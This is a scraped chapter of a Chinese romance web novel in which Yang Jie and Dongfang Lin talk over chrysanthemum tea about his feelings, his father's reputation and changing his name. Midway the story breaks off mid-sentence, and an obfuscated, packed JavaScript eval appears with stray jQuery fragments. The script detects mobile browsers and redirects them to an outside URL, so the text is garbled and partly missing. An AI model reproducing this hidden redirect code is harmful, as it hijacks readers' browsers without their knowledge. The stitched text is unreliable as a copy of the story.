默认冷灰
24号文字
方正启体

115. 第 115 章

作者:樱团绒本书字数:K更新时间:
    到了东厢房,杨洁和东方凛走入正厅时,看见珍娘正在招待陈大夫。两人本来有说有笑,看见东方凛来了顿时噤若寒蝉,仓皇站起来。


    杨洁看老大夫那青白交错的脸色和颤巍巍的身形,没好气地转头瞥了东方凛一眼,意思是:“看你做的好事。”


    东方凛垂在身侧的手指几不可查地蜷了一下——他并非有意威慑,只是常年在江湖打拼养成的气场,早已成了刻在骨血里的习惯。


    “珍娘,去温一壶菊-花茶上来。”杨洁以手势请东方凛上座,这人偏要撩衣摆坐在她对面,她眉头微挑也由着他了。


    东方凛刚想帮她别好耳际零乱的发丝,余光瞥见她微蹙的眉峰,又悄悄将手收了回去,换成虚搭在桌面,刻意放轻了动作幅度。


    “是,小姐。”珍娘飞快瞥了他们两人一眼,忙不迭答应,立刻带着陈大夫快速撤离。


    他俩那副逃灾的模样,看得杨洁差点笑出声,强压着嘴角打趣说:“东方香主,威势不凡啊。”


    东方凛抬眼看向她,眼底的冷硬褪-去几分,漾开极淡的笑意,声音压得很低:“在你面前,哪有什么威势。”


    两人默默对视,杨洁指尖无意识攥了攥袖口,心里头着实有些惊叹:这人收敛一身戾气和寒气,太符合“玉面”之名了!


    他那一双以往冷酷“冻人”的丹凤眼似破冰的湖,漾开淡淡的柔情;鼻梁挺得像刀削出来的,眉宇间仍带着几分惯常的凌厉;红润的薄唇微勾,偏柔和了脸上冷峻的线条。


    若他一直以这副样子示人,不愁骗不到一堆爱俏的姑娘们,可他为什么偏找上自己?


    两人之间气氛缓和了,她身子前倾,好奇地问:“你之前不是一心追求名利,心若止水,冷若冰山吗?怎么突然跟我谈起感情了?”


    说到这,她摇了摇头:“我着实不解啊!”


    她如此直白凶猛的“一球”,让他有些措不及防,眼眸不禁睁大,喉结轻轻地滚了滚,想开口说她有多好,想说她对他来说有多特别,想说她是他冰冷算计的人生中遇到的温暖……


    他正想开口,细碎的脚步声响起,两人一起转头看去,珍娘端着一壶冒着腾腾热气的菊-花茶小跑过来。


    珍娘刚要替他们倒,东方凛突然伸手去接茶壶,珍娘吓了一跳,被他眼风一扫,赶紧松手,求助地看向杨洁。


    杨洁以手势示意她退下,单手托腮看向东方凛,眼中带着好奇和探寻。


    东方凛被她这样盯着看,动作变得有些僵硬,指节因为用力而微微泛白,倒茶时茶水甚至晃了晃,差点洒了出来。


    “我自己来就行。”杨洁挑了一下眉,伸手想去接。


    “我来。”东方凛的声音很低,却带着不容拒绝的坚持。他倒好茶,把杯子推到杨洁面前,杯沿正好对着她的左手边——这是他上次和她一起吃饭发现的,她习惯用左手倒茶喝。


    杨洁愣了一下,没说话,端起杯子喝了一口。茶水的温度刚好,不烫也不凉。她心里莫名一动:他刚才明明紧张得连茶壶都拿不稳,却还是用内力精准地控制了水温。


    东方凛低头喝茶时,眉头轻皱了一下,显然不适这茶入口的苦味。杨洁轻摇着手中淡黄的茶液,见状笑道:“这茶不但能清热降火,还能平肝明目,你不妨多喝喝。”


    她故意在“降火”和“明目”四字上加了重音,笑嘻嘻看向东方凛的目光,隐喻味十足。


    东方凛看出她的逗弄之意,心情反而一松,咽下口中清苦带香的茶液,却在喉咙处回甘,不是蜜糖那种浓郁的甜,是像青草尖上的晨露一样清润的甜。


    他嘴里残留着淡淡的菊香,心中的焦灼之气淡了几分,若有所指地说:“我看得很清楚,不用这茶来锦上添花了。但我更希望有人能看清我的一番心意。”


    “我看明白了,但又实在不懂——你突然把我们简单的合作关系搞得如此复杂?”杨洁眉头微皱,放下茶杯,“这对你又有何益呢?”


    东方凛心头涌上一股苦涩,比刚入口的菊-花茶还要浓烈百倍,脱口问道:“你为什么又如此抗拒我呢?”


    答案其实很明显——她讨厌他,甚至恨他。但他还是忍不住想亲口向她确认,因为她是这样的好,他怎都不会放手。


    杨洁苦恼地敲了敲额头,不知如何去向眼前这位“古人”解释自己的感情观。她想了想道:“这世间男人对女子的喜爱,以花为喻可分为三种。”


    “第一种男子见花开枝头,耀耀其华,心生贪念,肆意攀折,使之零落于地,并以脚踏之。这便是强取豪夺,采-花贼之流所谓的喜爱了。”她说到这,眼中泛起浓烈的厌恶之色。


    东方凛猜想她之前在教坊司定是见多了这种男子欺凌女子的恶事。甚至,她自己也惨遭了无数豺狼恶意的窥伺。这些在教坊司这鬼地方都是无法避免的事,她或许因此恨透了男人。


    他心中不由一颤,升起怜惜之意和愤怒的杀机,恨自己未能早日认识她、保护她,情不自禁地伸手握住她的手。


    杨洁正想接着说,突然感到左手上一凉,看到覆在自己手上的大手,不自在地想缩回去,却被他紧抓住不放。


    “你不用害怕,今后我会保护你。”他郑重承诺,看她的眼神真诚无比。


    杨洁一愣,觉得有些可笑。自己在吐槽“渣男”,这人在“脑补”些什么?难道以为自己也遭受了这些迫害。


    但同时,她又有些感动:在这对女子贞操看得比命更重的古代时空,他能有这种表现,已经比很多男人强了。


    她右手轻拍他手,开玩笑道:“你给我放开。等你来护我,我早挺尸了。”


    东方凛听到“挺尸”二字,眉头皱成了川字,双手握住她的手,“你之前的事情,我没法参与。但这之后,谁要想伤害你,除非跨过我的尸体。”


    “喂,不要把气氛搞这么悲壮好吗?”杨洁无奈摇头,“我们都要好好活着。瞧你这样,我还怎么说下去啊?”她用眼神示意他放手。


    东方凛无奈,只能慢慢放开她的手。杨洁再喝一口茶,润润嗓子说:“第二种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282035|188546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜欢呢,男子见花开正艳,欣然折下,插-入瓶中,独自欣赏。但花没了根,就算有水滋润,短短十余日便枯萎了。


    “男子自然弃了这枯花,再去寻其他鲜花。这就是所谓的名士风-流了!”杨洁冷笑,“在我看来,这种男子无-耻下流,跟前一种男人如出一辙,甚至比前者更加可恶!”


    “你知道……我生父的事了?”东方凛迟疑地问,眼中透出深深的痛苦和一丝绝望。


    俗话说:“有其父必有其子”。他从小到大因为身世承受这种责难已久。连母亲也曾摸着他的脸,哀怨地说:“凛儿,你越长大越像你的父亲了。恐怕,将来你也会跟他一般薄情吧。”


    他真不希望她知道这个丑事,但厌恶父亲的廖大夫恐怕已经把这事告知了杨洁。


    杨洁看到了他眼中的纠结,点头道:“知道他外号叫‘碎心剑主’,还知道许多人骂他‘桃花刽子手’。”话中充斥着不屑和厌烦。


    听到这话,东方凛痛苦地闭眼,再睁开时,眼中似有了决断,轻声问:“这就是你拒绝我的原因。”


    “你是你,他是他。”杨洁不以为意地朝他摆手,“我没把你和他混为一谈。”


    东方凛瞪大了眼睛,继而苦笑——他最烦恼的事情,结果人家却不看在眼里!


    杨洁轻声安慰道:“我们出生都不是自己能决定的。与其伤感,不如放下接受这一切,并以他为前车之鉴,这样是不是更好?”


    东方凛心中一暖,痴痴地看着她,眼中不自觉散发柔情。果然,她没有因他父亲的过错否定他,这是从未有人给过他的善意接纳。


    他一直以来的隐瞒和苦恼,算不算是庸人自扰呢?


    眼睛是心灵的窗户,东方凛的眼睛也能充满暖意,杨洁不禁感到一种浓浓的成就感——年轻就是有无限可能啊!


    哼,天道!


    什么书中注定的命运?


    我偏要扭转乾坤!


    看着这样软化的他,她眼珠咕噜一转,准备下一副猛药,轻咳一声道:“其实,我一直觉得你的名字意向不好,有种注定孤身的凄凉感。”


    “你什么意思?”东方凛惊疑不定。


    杨洁笑嘻嘻道:“改名既改命,你如果对自己的过去不能释怀,可以改一个好名字,重新来过嘛。”


    话音刚落,外面闷雷声大响。


    东方凛心中也似炸响一阵春雷,劈开一层层迷雾,看到了他从未敢看清的事实——名字是母亲所取,也是她的殷切期盼,又何尝不是他内心对父亲最隐秘的期待?


    可事实上,那人只会一次又一次让他们母子失望,以至绝望。


    眼前人说的“重新来过”,像一道光照进了他的冰冷的心,他紧握杯子的手青筋直爆,指节泛白。


    这毫无征兆响起的雷声,却让杨洁兴奋起来——这是改命的前兆!


    她畅快地喝下一-大口茶水,清苦的香气从喉咙通到心肺,浑身清爽,忍不住拍案大笑:“雷声隆隆,真是好兆头!为此该浮一-大杯。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)